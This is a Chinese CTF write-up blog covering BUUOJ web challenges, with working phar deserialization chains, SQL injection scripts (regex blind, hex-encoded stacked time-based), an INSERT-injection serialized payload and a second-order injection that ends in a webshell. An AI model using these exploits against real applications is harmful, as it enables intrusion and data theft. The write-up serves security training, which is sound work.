F4de's blog F4de's blog
首页
WP整理
技术文章
学习笔记
其它随笔
关于|友链

F4de

Syclover | Web
首页
WP整理
技术文章
学习笔记
其它随笔
关于|友链
  • BUUOJ

    • BUUOJ题目记录
      • 反序列化
        • SimplePHP
        • BabysqliV0
        • xss之光
        • [HarekazeCTF2019]Easy Notes
      • SQL注入
        • SQLi
        • 不是文件上传
        • filemanager
        • [SWPU2019]Web4
      • 文件上传
        • CV Maker
      • SSTI
        • Double Secret
        • I<3Flask
        • FlaskApp
        • flasklight
        • CISCN2019华东南赛区Web11
      • XSS
      • XXE
        • True XML cookbook
        • [SUCTF 2018]Homework
      • SSRF
        • EZ三剑客-EzWeb
        • [网鼎杯 2020 白虎组]PicDown
      • 其他
        • 枯燥的抽奖
        • Can you guess it?
        • encode and encode
        • [SWPU2019]Web3
        • Cookie Store
        • Avatar Uploader 1
        • [CISCN2019 华东南赛区]Web4
        • PYWebsite
        • [V&N2020 公开赛]CHECKIN
  • WP记录
  • BUUOJ
F4de
2020-07-12

BUUOJ-Web题目记录

题目会分类记录并标注关键考点,这样也方便日后随时捡起来看🥣。

# 反序列化

# SimplePHP

右键查看网页源代码一下发现题目给了提示

image-20200712172510308

存在上传文件和查看文件的功能,查看文件的页面中可以观察到url很可疑,可能存在文件包含

image-20200712170838704

传参?file=f1ag.php,发现被过滤掉了

image-20200712172617925

传参?file=index.php可以拿到index.php的源码,然后可以拿到所有源码

下面直接看关键代码:

//function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //md5(1170.0.2).jpg
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

使用白名单策略,只允许上传gif jpeg jpg png文件,并会对我们上传的文件进行重命名。

//class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81

class.php中又给了这么多类,估计是要考察反序列化,文件上传+反序列化,直接很自然的联想到phar文件。

下面看一下有没有什么地方可以触发phar文件的反序列化

//file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

image-20200712171614629

找到file_exists()函数,接下来就是寻找POP链然后生成phar文件了。寻找反序列化的入口__destruct(),该魔术方法仅在C1e4r类中存在,Show类中有__toString()方法,而__destruct()中的echo会触发该方法,所以直接让$this->str = new Show()即可,str会赋值给test,从而触发__toString(),Test类中有__get()方法,如果让__toString()类中的str['str'] = new Test(),那么str['str']就会访问本类中不存在的成员变量source,从而触发__get(),然后就可以进行文件读取了。

生成phar文件:

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct()
    {
        $this->str = new Show();
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        $this->str['str'] = new Test();
    }
}

class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params['source'] = "/var/www/html/f1ag.php";
    }
}


@unlink("1.phar");    
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("GIF98a<?php __HALT_COMPILER(); ?>");

$a = new C1e4r();                      

$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

后缀改成gif进行上传,计算被重命名之后的文件名,然后利用phar协议拿到base64编码之后的f1ag.php,解码即可。

image-20200712173314801

# BabysqliV0

登录框注了好久结果是弱口令爆破??我晕,被题目误导了···

admin password可以直接登录

image-20200714211640995

可能存在文件包含,尝试读一下upload的源码看看:

image-20200714211944271

这里有点小坑,一开始我的payload是resource=upload.php,结果怎么也绕不了WAF,看来WP才知道是resouce=upload,不过做完题目发现了一个没注意到的细节:

image-20200714212316184

红线部分是upload.php.,可以看的出第二个.之后的php应该是被WAF掉了,然后第一个.php题目本身自带的,所以直接写resource=upload就行了

拿到upload.php的源码:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
	上传文件
	<input type="file" name="file" />
	<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
	public $Filename;
	public $cmd;
	public $token;
	

	function __construct(){
		$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
		$ext = ".txt";
		@mkdir($sandbox, 0777, true);
		if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
		}

		$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
		$this->token = $_SESSION['user'];
	}

	function upload($file){
		global $sandbox;
		global $ext;

		if(preg_match("[^a-z0-9]", $this->Filename)){
			$this->cmd = "die('illegal filename!');";
		}
		else{
			if($file['size'] > 1024){
				$this->cmd = "die('you are too big (′▽`〃)');";
			}
			else{
				$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
			}
		}
	}

	function __toString(){
		global $sandbox;
		global $ext;
		// return $sandbox.$this->Filename.$ext;
		return $this->Filename;
	}

	function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}
}

if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "下面是你上传的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}

?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

文件上传+反序列化,又是考phar文件···这个题目不用找POP链,直接利用__destruct()魔术方法就行

生成phar文件的exp:

<?php
class Uploader{
    public $Filename;
	public $cmd;
    public $token;
    
    public function __construct()
    {
        $this->token = "GXYd439ecb8900f38de9127690557ec3a3d";
        $this->cmd = 'highlight_file("/var/www/html/flag.php");';
    }
}

@unlink("A.phar");
$phar = new Phar("A.phar");
$phar->startBuffering();
$phar->setStub("GIF98a<?php __HALT_COMPILER(); ?>");

$a = new Uploader();                      

$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

之后利用name参数触发phar://协议,再任意上传一个文件即可拿到flag。

# xss之光

看似XSS,实则考PHP原生类的反序列化

考点:

  • PHP原生类反序列化漏洞

题目存在git源码泄露,恢复一下,源码如下:

//index.php

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

1
2
3
4
5
6

无法构造POP链的时候考虑用一下PHP原生类,参考文章:这里

  • toString()方法:当一个对象被当做字符串的时候触发

image-20200720181027058

由于服务器PHP版本是5.6,所以用Exception类来打。利用echo来触发Exception类中的toString()方法,从而造成XSS。

生成payload:

<?php
$a = new Exception("<script>alert</script>");
$b = serialize($a);
echo urlencode($b);
?>
1
2
3
4
5

传参:

image-20200720181232219

XSS成功,但是看了一下响应头中并没有带出flag,看了一下WP好像是题目的问题?😐要传一个产生跳转的payload来带出flag:

<?php
$a = new Exception('<script>window.location.href="http://www.baidu.com";</script>');
$b = serialize($a);
echo urlencode($b);
?>
1
2
3
4
5

Burp抓一下包放到Repeater模块重发一下,在响应头就能看到带出的flag:

image-20200720182116196

# [HarekazeCTF2019]Easy Notes

考点:

  • session文件伪造
  • session反序列化

# SQL注入

# SQLi

考点:正则盲注

提示SQL注入,输了几个关键字均弹窗‘hacker’,简单做了一下FUZZ测试,发现还是有几个字符可以使用:

image-20200713223435354

接着扫了个后台,扫到了hint.txt

image-20200713223512297

hint.txt的内容:

image-20200713223535231

可以看到一些常规的SQL注入关键字都被过滤掉了,然后提示我们只要拿到admin的密码,就可以得到flag了。另外,首页告诉了我们查询的sql语句:

image-20200713223704573

考虑用反斜杠进行转义,双引号和正则没被过滤,然后passwd和username还在一张表里面,用正则盲注吧。。

没法用注释符号,考虑用%00进行截断。

exp如下:

import requests
from urllib import parse

url = 'http://e3fe3f17-c256-42fe-81f2-7fcd51370966.nodebuuoj.cn/'
s = requests.Session()
password = ''
str = '1234567890!@#$%&()-=[];{}:"<>_qwertyuiopasdfghjklzxcvbnm'
for i in range(1, 100):
    for j in str:
        data = {
            "username": '\\',
            "passwd": '||passwd/**/REGEXP/**/"^{}";\x00'.format(password + j)
        }
        res = s.post(url=url, data=data)
        print(data)
        if (res.status_code == 404):
            password += j
            print(password)
            break

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

不过有点奇怪的是burp跑出来的状态码是302,到python里就成了404了··· 搞不懂

然后注意%00在python里用十六进制表示成\x00即可

跑出来的密码:

image-20200713234353205

用户名任意,登录即可

image-20200713234630437

# 不是文件上传

考点:

  • INSERT注入
  • 反序列化

BUUOJ的环境题目直接给了github的源码,clone下来,源码如下(部分关键位置已经做了注释):

//helper.php

<?php
class helper {
	protected $folder = "pic/";
	protected $ifview = False; 
	protected $config = "config.txt";
	// The function is not yet perfect, it is not open yet.

	public function upload($input="file")
	{
		//getfile->check
		//返回一个储存上传的文件信息的数组
		$fileinfo = $this->getfile($input);
		$array = array();
		//复制给新创建的数组$array
		$array["title"] = $fileinfo['title'];
		$array["filename"] = $fileinfo['filename'];
		$array["ext"] = $fileinfo['ext'];
		$array["path"] = $fileinfo['path'];
		//getimagesize函数返回一个图片信息的数组,包含图片高度宽度等
		$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
		$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
		//以序列化字符串的形式存储图像高度和宽度
		$array["attr"] = serialize($my_ext);

		$id = $this->save($array);
		if ($id == 0){
			die("Something wrong!");
		}
		echo "<br>";
		echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
	}

	public function getfile($input)
	{
		if(isset($input)){
			$rs = $this->check($_FILES[$input]);
		}
		return $rs;
	}

	public function check($info)
	{
		$basename = substr(md5(time().uniqid()),9,16);
		//上传的文件的名称
		$filename = $info["name"];
		$ext = substr(strrchr($filename, '.'), 1);
		//只允许上传以下四种后缀名的文件
		$cate_exts = array("jpg","gif","png","jpeg");
		if(!in_array($ext,$cate_exts)){
			die("<p>Please upload the correct image file!!!</p>");
		}
	    $title = str_replace(".".$ext,'',$filename);
	    return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
	}

	public function save($data)
	{
		if(!$data || !is_array($data)){
			die("Something wrong!");
		}
		$id = $this->insert_array($data);
		return $id;
	}

	public function insert_array($data)
	{	
		//mysql连接
		$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
		if (mysqli_connect_errno($con)) 
		{ 
		    die("Connect MySQL Fail:".mysqli_connect_error());
		}

		$sql_fields = array();
		$sql_val = array();
		foreach($data as $key=>$value){
			$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
			$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
			$sql_fields[] = "`".$key_temp."`";
			$sql_val[] = "'".$value_temp."'";
		}
		//implode() 函数返回一个由数组元素组合成的字符串。
		$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
		mysqli_query($con, $sql);
		//mysqli_insert_id() 函数返回最后一个查询中生成的ID值
		$id = mysqli_insert_id($con);
		mysqli_close($con);
		return $id;
	}

	public function view_files($path){
		if ($this->ifview == False){
			return False;
			//The function is not yet perfect, it is not open yet.
		}
		$content = file_get_contents($path);
		echo $content;
	}

	function __destruct(){
		# Read some config html
		$this->view_files($this->config);
	}
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
//show.php

<!DOCTYPE html>
<html>
<head>
	<title>Show Images</title>
	<link rel="stylesheet" href="./style.css">
	<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>

<h2 align="center">Your images</h2>
<p>The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p>
<hr>

<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
	if($_GET["delete_all"] == "true"){
		$show->Delete_All_Images();
	}
}
$show->Get_All_Images();

class show{
	public $con;
	//连接数据库
	public function __construct(){
		$this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
		if (mysqli_connect_errno($this->con)){ 
   			die("Connect MySQL Fail:".mysqli_connect_error());
		}
	}
	//获取图片信息
	public function Get_All_Images(){
		$sql = "SELECT * FROM images";
		$result = mysqli_query($this->con, $sql);
		if ($result->num_rows > 0){
		    while($row = $result->fetch_assoc()){
		    	if($row["attr"]){
					//获取每一行的信息
					$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
					//反序列化attr
					$attr = unserialize($attr_temp);
				}
		        echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
		    }
		}else{
		    echo "<p>You have not uploaded an image yet.</p>";
		}
		mysqli_close($this->con);
	}

	public function Delete_All_Images(){
		$sql = "DELETE FROM images";
		$result = mysqli_query($this->con, $sql);
	}
}
?>

<p><a href="show.php?delete_all=true">Delete All Images</a></p>
<p><a href="upload.php">Upload Images</a></p>

</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
//upload.php

<!DOCTYPE html>
<html>
<head>
	<title>Image Upload</title>
	<link rel="stylesheet" href="./style.css">
	<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
<p align="center"><img src="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 length=150></p>
<div align="center">
<form name="upload" action=""  method="post" enctype ="multipart/form-data" >
    <input type="file" name="file">
    <input type="Submit" value="submit">
</form>
</div>

<br> 
<p><a href="./show.php">You can view the pictures you uploaded here</a></p>
<br>

<?php
include("./helper.php");
class upload extends helper {
	public function upload_base(){
		$this->upload();
	}
}

if ($_FILES){
	if ($_FILES["file"]["error"]){
		die("Upload file failed.");
	}else{
		$file = new upload();
		$file->upload_base();
	}
}

$a = new helper();
?>
</body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

文件上传的过程中filename可控,在check()方法中直接利用没做任何处理的filename来生成title,并直接插入数据库,可以造成INSERT注入从而插入我们的恶意信息。

image-20200720182919673

image-20200720182903470

//正常语句
INSERT INTO images(`title`,`filename`,`ext`,`path`,`attr`) VALUES('a','b','c','d','e')

//通过控制filename来改变tile的值来造成注入
//filename = 1','1','1','1','1')#.jpg -> tile = 1','1','1','1','1')#

//注入之后的结果
INSERT INTO images(`title`,`filename`,`ext`,`path`,`attr`) VALUES('1','1','1','1','1')#','b','c','d','e')
1
2
3
4
5
6
7
8

那该怎么利用呢?服务器会将图片的高度和宽度以序列化字符串的形式保存在images的attr字段中,并且在show.php中还会进行反序列化:

image-20200720183614013

image-20200720183827368

在helper.php中存在能造成文件读取的方法:

image-20200720183955931

那么就利用这一点,利用INSERT注入来插入我们构造的恶意序列化字符串,从而进行文件读取。生成payload:

<?php
class helper {
    protected $folder = "pic/";
	protected $ifview = True; 
	protected $config = "/flag";
}

$a = new helper();
echo(serialize($a));
1
2
3
4
5
6
7
8
9

因为服务器会进行一个字符串替换的操作,所以需要对生成的payload进行相应的处理来保证序列化字符串格式正确

image-20200720184503541

//替换前
O:6:"helper":3:{s:9:"*folder";s:4:"pic/";s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
//替换后
O:6:"helper":3:{s:9:"\0\0\0folder";s:4:"pic/";s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
1
2
3
4

再利用INSERT注入来插入payload从而进行反序列化,修改filename为1','1','1','1',0x4f3a363a2268656c706572223a333a7b733a393a22002a00666f6c646572223b733a343a227069632f223b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.jpg

这里有个小tips:

  • 0x开头的数据在数据库中会被自动解析成字符串,所以需要对我们替换好的pyload进行一次hex转换(bin2hex()函数)

这样一来,插入后的语句就变成了:

INSERT INTO images(`title`,`filename`,`ext`,`path`,`attr`) VALUES('1','1','1','1',0x4f3a363a2268656c706572223a333a7b733a393a22002a00666f6c646572223b733a343a227069632f223b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#','1','1','1','1')
1

就可以进行读取文件了,Burp抓包改一下文件名,再到show.php拿flag就行了:

image-20200720185509359

image-20200720185613614

# filemanager

考点:

  • 二次注入

另外,这个题目还纠正了我的一个误区:

  • 经过addslashes()函数处理之后的字符串虽然本身关键字符被转义,但是存入数据库的时候回自动还原。
//实例代码

$a = addslashes($a) //此时$a本身字符串改变了,但是存入数据库的的时候回被自动还原成转义之前的状态
1
2
3

解题:

题目存在源码泄露,扫一下可以得到www.tar.gz

拿到源码,其中关键代码如下(已做注释):

//upload.php

<?php
/**
 * Created by PhpStorm.
 * User: phithon
 * Date: 15/10/14
 * Time: 下午8:45
 */

require_once "common.inc.php";

if ($_FILES) {
	$file = $_FILES["upfile"];
	if ($file["error"] == UPLOAD_ERR_OK) {
		$name = basename($file["name"]);
		$path_parts = pathinfo($name);

		//检查文件后缀名
		if (!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
			exit("error extension");
		}
		$path_parts["extension"] = "." . $path_parts["extension"];
		//修改后缀名为.{extension}
		$name = $path_parts["filename"] . $path_parts["extension"];

		// $path_parts["filename"] = $db->quote($path_parts["filename"]);
		// Fix
		
		//加转义符号
		$path_parts['filename'] = addslashes($path_parts['filename']);
		//{extension}白名单策略,文件名又经过转义函数处理。
		//这里应该没有可以注入的地方
		$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";
		
		//执行sql语句
		$fetch = $db->query($sql);
		//根据查询的结果来判断文件是否存在
		if ($fetch->num_rows > 0) {
			exit("file is exists");
		}

		//把临时文件移动到upload/{filename}目录下
		if (move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {
			//向数据库里插入信息
			//insert into `file` (`filename`,`view`,`extension`) values('{filename}','0','{extension}')
			$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
			//执行sql语句
			$re = $db->query($sql);
			if (!$re) {
				print_r($db->error);
				exit;
			}
			//显示上传的文件地址
			$url = "/" . UPLOAD_DIR . $name;
			echo "Your file is upload, url:
                <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
                <a href=\"/\">go back</a>";
		} else {
			exit("upload error");
		}

	} else {
		print_r(error_get_last());
		exit;
	}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//rename.php

<?php
/**
 * Created by PhpStorm.
 * User: phithon
 * Date: 15/10/14
 * Time: 下午9:39
 */

require_once "common.inc.php";

//req['oldname'] = addslashes(value)
//req['newname'] = addslashes(value)
if (isset($req['oldname']) && isset($req['newname'])) {
	$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
	if ($result->num_rows > 0) {
		$result = $result->fetch_assoc();
	} else {
		exit("old file doesn't exists!");
	}

	if ($result) {

		$req['newname'] = basename($req['newname']);
		//向数据库中取出数据并没有经过函数处理,存在二次注入
		//数据无法传入后缀名
		$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
		if (!$re) {
			print_r($db->error);
			exit;
		}
		$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
		$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
		if (file_exists($oldname)) {
			//重命名文件和目录
			rename($oldname, $newname);
		}
		$url = "/" . $newname;
		echo "Your file is rename, url:
                <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
                <a href=\"/\">go back</a>";
	}
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>file manage</title>
    <base href="/">
    <meta charset="utf-8" />
</head>
<h3>Rename</h3>
<body>
<form method="post">
    <p>
        <span>old filename(exclude extension):</span>
        <input type="text" name="oldname">
    </p>
    <p>
        <span>new filename(exclude extension):</span>
        <input type="text" name="newname">
    </p>
    <p>
        <input type="submit" value="rename">
    </p>
</form>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

upload.php中对传入数据库中字符做了转义处理,但是在rename.php中再次引用数据库中的数据的时候没有进行转义处理,引发了二次注入。

上传webshell',extension='.png,在rename.php中进行重命名:

image-20200727202706692

这样经过拼接之后的sql语句为:

update `file` set `filename`='12png', `oldname`='',extension='' where `fid` = `{fid}`
1

重命名成功,并将文件12png的extension字段置为空:

image-20200727202941339

此时如果再将12png重命名为12php,因为extension字段为空,所以newname=12php,看似可以写入一个Webshell,但是直接重命名只是修改了数据库中数据,并没有对文件做实质性的改动,也就是说,尽管数据库中的数据是12php,但是在上传目录下的文件名依然是12png,原因如下:

//rename.php

if (file_exists($oldname)) {
		//重命名文件和目录
		rename($oldname, $newname);
}
1
2
3
4
5
6

只有满足$oldname存在,才可以进行实质性的文件重命名,也就是说还需要额外上传一个同名的Webshell,来满足这个if条件,在上传过程中并不会报file is exists的错误,具体原因如下:

//upload.php

//将文件信息存入数据库的sql语句
$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";

//我们上传12png,这个文件的extension会被解析为png,我们之前上传的文件extension字段已经被置位空,所以尽管两个文件的文件名相同,但是本质上并不重名。

//更直观一点,在数据表的字段信息分别为:

|fid|filename|oldname|view|extension|
| 1 |12png |       |  0 |         |
| 2 |123     |       |  0 |   png   |
1
2
3
4
5
6
7
8
9
10
11
12

这样一来,12png就可以被重命为12php,Webshell写入成功:

image-20200727204856896

RCE随便打:

image-20200727205507754

# [SWPU2019]Web4

考点:

  • SQL注入(time based、堆叠注入)
  • 代码审计

题目给了一个登录框,如果点击注册功能的话会弹窗注册功能未开放;如果随便输用户名点登录的话没有反应,抓包看看:

image-20201004205858933

username和password是用json格式发送的,并且会返回一段信息。先测试有没有注入点:我在username后面添加了一个引号,引发了报错,但是这个报错是php的报错,不是Mysql的报错,所以无法进行报错注入

image-20201004210120510

经过简单的手动fuzz之后发现没有办法进行联合查询(因为没有回显)和有Boolean回显的盲注,我猜可能是服务器全给WAF掉了,一般这种情况下可以考虑以下堆叠注入,所以我修改username为123';,结果发现回显正常:

image-20201004210409621

这样一来,拼接到服务器端的SQL语句就是:

select * from {table_name} where username='123';' and password='123'
1

因为;号表示一个SQL语句的结束,;号后面的一个'号被认为是下一个SQL语句的开始,所以没有产生报错,也就是说,这个题目是存在堆叠注入的(;号被解析了)。

题目没有回显,所以可以尝试使用时间盲注 + 堆叠注入来进行注入,下面是简单的演示:

image-20201004211142245

另外可以把SQL语句进行hex转换来绕过WAF(在MySQL中0x开头的十六进制数会被转换成字符串),下面贴上我的脚本:

import requests
import json


def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])


url = 'http://14404d01-74ee-411a-b1c3-bc37abb07bd1.node3.buuoj.cn/index.php?r=Login/Login'
flag = ''
for i in range(1, 50):
    for j in range(32, 127):
        # temp_payload = 'select if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}),1,sleep(3))'.format(str(i), str(j))
        # table: flag
        # temp_payload = "select if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{},1))>{}),1,sleep(3))".format(str(i), str(j))
        # cloumn: flag
        temp_payload = "select if((ascii(substr((select group_concat(flag) from flag),{},1))>{}),1,sleep(3))".format(str(i), str(j))
        payload = "1';set @a=0x" + str_to_hex(temp_payload) + ";prepare inj from @a;execute inj -- "
        data = {
            "username": payload,
            "password": "123456"
        }
        data = json.dumps(data)
        res = requests.post(url=url, data=data)
        print(res.elapsed.seconds)
        if res.elapsed.seconds > 2:
            flag = flag + chr(j)
            print(flag)
            break

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

最后得到了如下结果:

image-20201004211336213

拿到源码

image-20201004211549551

是一个简单的MVC框架,fun.php中对传入的r参数进行了相应的处理:

// 路由控制跳转至控制器
if(!empty($_REQUEST['r']))
{
	$r = explode('/', $_REQUEST['r']);
	list($controller,$action) = $r;
	$controller = "{$controller}Controller";
	$action = "action{$action}";


	if(class_exists($controller))
	{
		if(method_exists($controller,$action))
		{
			//
		}
		else
		{
			$action = "actionIndex";
		}
	}
	else
	{
		$controller = "LoginController";
        $action = "actionIndex";
	}
    $data = call_user_func(array( (new $controller), $action));
} else {
    header("Location:index.php?r=Login/Index");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

审计的过程我就不详细说了,就简单说一下关键的地方:在BaseController.php中会接受两个参数,其中会对viewData进行extract处理,这里是会造成变量覆盖的。

# BaseController.php

<?php 

/**
* 所有控制器的父类
*/
class BaseController
{
	/*
	 * 加载视图文件
	 * viewName 视图名称
	 * viewData 视图分配数据
	*/
	private $viewPath;
	public function loadView($viewName ='', $viewData = [])
	{
		$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
		if(file_exists($this->viewPath))
		{
			extract($viewData);
			include $this->viewPath;
		}
	}
	
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

接着逆向追踪调loadView的地方:

image-20201004212235209

